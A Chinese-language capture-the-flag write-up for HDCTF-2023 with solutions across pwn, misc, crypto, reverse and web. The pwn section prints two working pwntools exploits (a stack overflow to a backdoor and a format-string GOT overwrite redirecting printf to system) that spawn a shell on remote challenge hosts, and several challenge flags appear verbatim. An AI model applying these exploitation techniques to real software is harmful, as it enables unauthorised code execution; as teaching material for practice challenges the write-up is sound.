HDCTF-2023

PWN

pwnner

checksec 检查

Ida 分析:

通过 if 判断的话,就能利用栈溢出漏洞 getshell。

v3 存在栈溢出漏洞,40 长的缓冲区读入 0x100 的数据

Exp:

from pwn import *
from ctypes import *
r=remote("node6.anna.nssctf.cn",28900)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x39)
num=str(libc.rand())
r.sendlineafter("you should prove that you love pwn,so input your name:\n",num)
p=flat(b'a'*(0x40+8),0x4008b2,word_size=64)
r.sendlineafter("ok,you have a little cognition about pwn,so what will you do next?\n",p)
r.sendline("cat flag.txt")
r.interactive()

keep on

checksec

ida分析:

read限制读入0x60数据,而s长度为0x50,只能刚好覆盖ebp跟返回地址。

但后门函数参数不是binsh,于是还需要设置参数为binsh,但能读入数据有限,只剩0x10大小数据,只够覆盖ebp和返回地址,无法再设置参数。于是栈劫持设置参数,不过没打通,到底是哪儿出问题了-。-!

转换思路:

利用格式化字符串漏洞,将printf got表改为system地址,然后第二次read返回地址改为vuln,再打一次vuln,然后第一个read传入binsh,printf此时已变为system,程序执行system(binsh)。

vuln函数中有两次read,第一次read后有printf,格式化字符串漏洞

于是看输入的参数在栈上的第几个位置:

第六个位置

于是构造payload 1 改写printf got表为systme plt地址:

先看下未修改的printf got地址:

修改之后

构造payload2 让程序再次进入vuln函数:

发送binsh,即可得到shell。

exp如下:

from pwn import *
context(arch='amd64', os='linux',log_level='debug')
elf = ELF("./hdctf")
r=remote("node4.anna.nssctf.cn",28624)
system = 0x4005E0
printfgot = elf.got['printf']
p1 = fmtstr_payload(6,{printfgot:system},write_size='short')
r.sendafter('name: \n',p1)
vuln_addr = 0x40076F
p2 = b'a'*(0x50+0x8) + p64(vuln_addr)
r.sendafter('on !\n',p2)
r.sendafter('name: \n',b"/bin/sh")
r.sendline('cat flag.txt')
r.interactive()

MISC

hardMisc

解压得到一个图片

010 尾部发现

解码:

ExtremeMisc:

附件是一张照片:

foremost后得到一个压缩包,解压后又得到一个含密码的压缩包,常规4位数密码爆破,得到密码haida,里面一个.piz后缀的文件,010打开发现是zip文件十六进制数据两两逆序。脚本还原:

with open('D:/pycharmproject/CTF-MISC/Reverse.piz', 'rb') as f:
s = f.read()
t = [x // 16 + 16 * (x % 16) for x in s]
with open('output.txt', 'wb') as f:
f.write(bytes(t))
f = open('output.txt', 'rb').read()
res = open('output.txt', 'wb')
res.write(f)

还原后又是一个带密码的zip,常规密码爆破得到密码9724,里面有一个带密码压缩包,有一个不带密码,Plain.zip 和 secret.zip。明文爆破。得到密码:w98d@ud,打开txt文档得到flag:HDCTF{u_a_a_master_@_c0mpRe553d_PaCKe1s}

MasterMisc

压缩包里含六个文件,拖进 010 发现第一个文件头有 PK,最后一个文件的尾也有 PK。

猜测是把一个 zip 分成了 6 部分。winhex手动拼接文件,之后常规爆破得到密码 5483,解压出一个图片:

010 发现一部分 flag

foremost 分离出图片和音频。图片高度隐写

拼接得到 flag:HDCTF{ e67d8104-7536-4433-bfff-96759901c405}

Crypto

Normal_Rsa

得到附件,打开即可发现 flag

HDCTF{0b3663ed-67e4-44e2-aee7-7c2d8665b63c}

Normal_Rsa(revenge)

附件内容

先用 P 解出 p,

Q 解出 q:

再解密文:

Flag:

HDCTF{08c66aa2-f8ea-49a2-a84f-ab9c7999ebb2}

REVERSE:

easy_re:

Die 检查有壳,脱壳

Ida 分析:

发现字符串:

并且:

典型base64加密。

Base64 解码

easy_asm:

与 0x10 异或然后与字符串比较

Exp:

s='XTSDVkZecdOqOu#ciOqC}m$'
flag=''
for i in range(0,len(s)-1):
    x=ord(s[i])^0x10
    flag+=chr(x)
print(flag)

WEB:

Welcome To HDCTF 2023

进入环境,小游戏,等人物死了,就给 flag